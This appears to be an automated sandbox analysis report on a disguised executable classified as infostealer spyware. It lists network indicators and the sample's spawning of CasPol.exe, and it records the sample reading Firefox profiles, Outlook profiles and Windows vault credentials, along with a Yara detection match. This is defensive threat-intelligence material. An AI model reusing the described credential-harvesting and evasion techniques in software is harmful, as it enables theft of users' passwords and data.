Source: PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C5CD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ktxcomay.com.vn
Source: PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C94A9000.00000004.00000800.00020000.00000000.sdmp, PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C8302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pki.goog/repository/0
Source: PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C91FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.torproject.org/documentation.html

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52110
Source: unknown	Network traffic detected: HTTP traffic on port 53145 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 52220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52570 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 53127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51274
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51039
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51037
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55085
Source: unknown	Network traffic detected: HTTP traffic on port 51622 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51040
Source: unknown	Network traffic detected: HTTP traffic on port 55086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55081
Source: unknown	Network traffic detected: HTTP traffic on port 51274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53625 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53229
Source: unknown	Network traffic detected: HTTP traffic on port 52273 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52571 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54313
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51043
Source: unknown	Network traffic detected: HTTP traffic on port 53667 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53230
Source: unknown	Network traffic detected: HTTP traffic on port 55085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55093
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51614
Source: unknown	Network traffic detected: HTTP traffic on port 53672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51594 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51618
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53234
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52022
Source: unknown	Network traffic detected: HTTP traffic on port 52025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53232
Source: unknown	Network traffic detected: HTTP traffic on port 54831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52029
Source: unknown	Network traffic detected: HTTP traffic on port 53146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52273
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52271
Source: unknown	Network traffic detected: HTTP traffic on port 55074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 52110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51904
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51585
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50493
Source: unknown	Network traffic detected: HTTP traffic on port 53627 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 50485 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 53229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52637 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51592
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50149
Source: unknown	Network traffic detected: HTTP traffic on port 54885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52564
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51593
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52561
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51594
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50145
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50148
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52570
Source: unknown	Network traffic detected: HTTP traffic on port 55082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52571
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50150
Source: unknown	Network traffic detected: HTTP traffic on port 51037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 51329 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53668
Source: unknown	Network traffic detected: HTTP traffic on port 53147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53667
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53670
Source: unknown	Network traffic detected: HTTP traffic on port 55081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52109
Source: unknown	Network traffic detected: HTTP traffic on port 54835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52229
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52223
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52220
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52103
Source: unknown	Network traffic detected: HTTP traffic on port 54891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52198 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54891
Source: unknown	Network traffic detected: HTTP traffic on port 52561 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50145 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52637
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52636
Source: unknown	Network traffic detected: HTTP traffic on port 51327 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52275 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52198
Source: unknown	Network traffic detected: HTTP traffic on port 50489 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52634
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54829
Source: unknown	Network traffic detected: HTTP traffic on port 55072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52640
Source: unknown	Network traffic detected: HTTP traffic on port 53628 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51328
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53628
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53627
Source: unknown	Network traffic detected: HTTP traffic on port 51906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51329
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51327
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53625
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53629
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54831
Source: unknown	Network traffic detected: HTTP traffic on port 51585 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53670 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51328 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51332
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50482
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50485
Source: unknown	Network traffic detected: HTTP traffic on port 53234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50489
Source: unknown	Network traffic detected: HTTP traffic on port 54313 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52636 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51614 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52271 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51624
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52277
Source: unknown	Network traffic detected: HTTP traffic on port 52024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52275
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51622
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53127
Source: unknown	Network traffic detected: HTTP traffic on port 50482 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53232 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51332 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52640 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52277 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51593 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52634 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50493 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53147
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53146
Source: unknown	Network traffic detected: HTTP traffic on port 53629 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53145
Source: unknown	Network traffic detected: HTTP traffic on port 51774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51592 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51778
Source: unknown	Network traffic detected: HTTP traffic on port 55089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52564 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53668 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51774
Source: unknown	Network traffic detected: HTTP traffic on port 51618 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51624 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54888 -> 443

Source: unknown	HTTPS traffic detected: 140.82.114.3:443 -> 192.168.2.10:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 222.255.238.159:443 -> 192.168.2.10:51274 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.190.93:443 -> 192.168.2.10:54313 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 8.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE

Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Source: C:\Windows\System32\WerFault.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 8_2_01634AC8	8_2_01634AC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 8_2_0163ED48	8_2_0163ED48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 8_2_0163ADD0	8_2_0163ADD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 8_2_01633EB0	8_2_01633EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 8_2_016341F8	8_2_016341F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 8_2_065E3050	8_2_065E3050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 8_2_065E7678	8_2_065E7678
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 8_2_065EE388	8_2_065EE388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 8_2_065E0040	8_2_065E0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 8_2_065E0006	8_2_065E0006

Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7816 -s 109588

Source: PO-065-01-2024E-2.exe

Static PE information: No import functions for PE file found

Source: PO-065-01-2024E-2.exe, 00000000.00000000.1239339372.000001C0C3792000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameUnitGamePac.exe8 vs PO-065-01-2024E-2.exe
Source: PO-065-01-2024E-2.exe	Binary or memory string: OriginalFilenameUnitGamePac.exe8 vs PO-065-01-2024E-2.exe

Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: wintypes.dll	Jump to behavior

Source: 8.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE

Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/4@7/100

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Mutant created: NULL
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7816

Source: C:\Windows\System32\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\123dcdf2-004f-4aa6-aec3-cccf6489794c

Jump to behavior

Source: PO-065-01-2024E-2.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: PO-065-01-2024E-2.exe

Static file information: TRID: Win64 Executable GUI Net Framework (217006/5) 49.88%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: PO-065-01-2024E-2.exe

ReversingLabs: Detection: 55%

Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe

File read: C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\PO-065-01-2024E-2.exe C:\Users\user\Desktop\PO-065-01-2024E-2.exe
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7816 -s 109588
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Jump to behavior

Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: PO-065-01-2024E-2.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: PO-065-01-2024E-2.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: PO-065-01-2024E-2.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\user\Desktop\PO-065-01-2024E-2.PDB` source: PO-065-01-2024E-2.exe, 00000000.00000002.2525725826.0000006A2D2F3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: PO-065-01-2024E-2.PDBj source: PO-065-01-2024E-2.exe, 00000000.00000002.2525725826.0000006A2D2F3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: /-jpC:\Users\user\Desktop\PO-065-01-2024E-2.PDB source: PO-065-01-2024E-2.exe, 00000000.00000002.2525725826.0000006A2D2F3000.00000004.00000010.00020000.00000000.sdmp

Source: PO-065-01-2024E-2.exe

Static PE information: 0x97BE3889 [Sat Sep 3 13:52:09 2050 UTC]

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 8_2_065EB848 push es; retn 5505h	8_2_065EB9E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 8_2_065E4740 push ds; ret	8_2_065E4742
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 8_2_065E7D58 push ecx; ret	8_2_065E8042
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 8_2_065E9A61 push 678405C3h; ret	8_2_065E9A66
